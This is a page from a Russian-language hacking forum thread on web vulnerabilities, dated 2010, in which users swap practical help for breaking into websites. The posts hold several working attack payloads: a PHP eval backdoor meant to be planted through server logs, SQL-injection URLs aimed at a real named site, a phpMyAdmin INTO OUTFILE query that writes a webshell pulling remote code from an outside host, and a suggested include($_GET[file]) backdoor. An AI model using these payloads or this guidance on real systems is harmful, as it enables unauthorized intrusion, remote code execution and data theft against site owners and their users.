ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1289 из 1393 « Первая < 289789118912391279 1285 1286 1287 1288 1289 1290 1291 1292 1293 129913391389 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12881  
Старый 03.05.2010, 19:23
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию
Цитата:
Сообщение от kfor  
Подскажите как передать гет запрос с <? system.... ?> , что бы в логах скобочки не заменились на %3c %3e
<?php file_get_contents('http://site.ru/<?php eval(stripslashes($_REQUEST[cmd]));?>');?>
 
Ответить с цитированием

  #12882  
Старый 03.05.2010, 21:34
IMMORTAL_S
Новичок
Регистрация: 29.04.2010
Сообщений: 19
Провел на форуме:
58603

Репутация: 3
По умолчанию
Всем привет! наткнулся на такую ошибку...
Код:
Warning: mysql_result(): Unable to jump to row 0 on MySQL result index 42 in /home/site/public_html/php/config/functions.php on line 931
Урл вида: http://.sita.net/index.php?id=11&new=-6
Можно ли провести инъекцию
 
Ответить с цитированием

  #12883  
Старый 03.05.2010, 21:34
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
pinch
http://www.retention.se/news.asp?id=1+and+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES)&pg=1

и далее по сценарию

======================

Pashkela
Опять у тебя ненужные навороты. Они запутывают людей
Зачем
Цитата:
http://www.retention.se/news.asp?id=1+or+1=convert(int,@@version)&pg=1
Если
http://www.retention.se/news.asp?id=1+or+1=@@version&pg=1
 
Ответить с цитированием

  #12884  
Старый 03.05.2010, 22:11
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию
спасибо. оказывается фильтры на: select, or, OR, --
а я из мухи слона делаю
 
Ответить с цитированием

  #12885  
Старый 03.05.2010, 23:39
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию
Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.
 
Ответить с цитированием

  #12886  
Старый 03.05.2010, 23:41
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию
Может, потому что там file_get_contents, а не инклуд?
 
Ответить с цитированием

  #12887  
Старый 03.05.2010, 23:49
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию
Бгг да точно) но как бы он его как-то залил... логика значит надо залить с другим расширением ато да читалка)
 
Ответить с цитированием

  #12888  
Старый 03.05.2010, 23:52
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию
Такая ситуация:
Есть PhpMyAdin права полный Root
Делаю запрос вида
select '<? @include("http://site.ru/files/shell.txt"); ?>' into outfile 'D:/WWW/files/shell.php';
Создаеться файл .php, но когда захожу на него, там пустой белый лист!!!

А когда делаю запрос
select '<? phpinfo(); ?>' into outfile 'D:/WWW/files/info.php';
выводиться полный phpinfo!!

что может быть не так?
 
Ответить с цитированием

  #12889  
Старый 04.05.2010, 00:01
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию
попробуй залить include($_GET[file]) ...
 
Ответить с цитированием

  #12890  
Старый 04.05.2010, 00:13
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию
я извиняюсь, мой пост затерялся, поетому спрошу ещё раз.

Цитата:
Сообщение от [ DSU ]  
Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.
с php вобще ничего не показывает.
Цитата:
Сообщение от wildshaman  
Может, потому что там file_get_contents, а не инклуд?
возможно. как в этом случае можно глянуть какая функция используется.
 
Ответить с цитированием
Ответ
Страница 1289 из 1393 « Первая < 289789118912391279 1285 1286 1287 1288 1289 1290 1291 1292 1293 129913391389 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ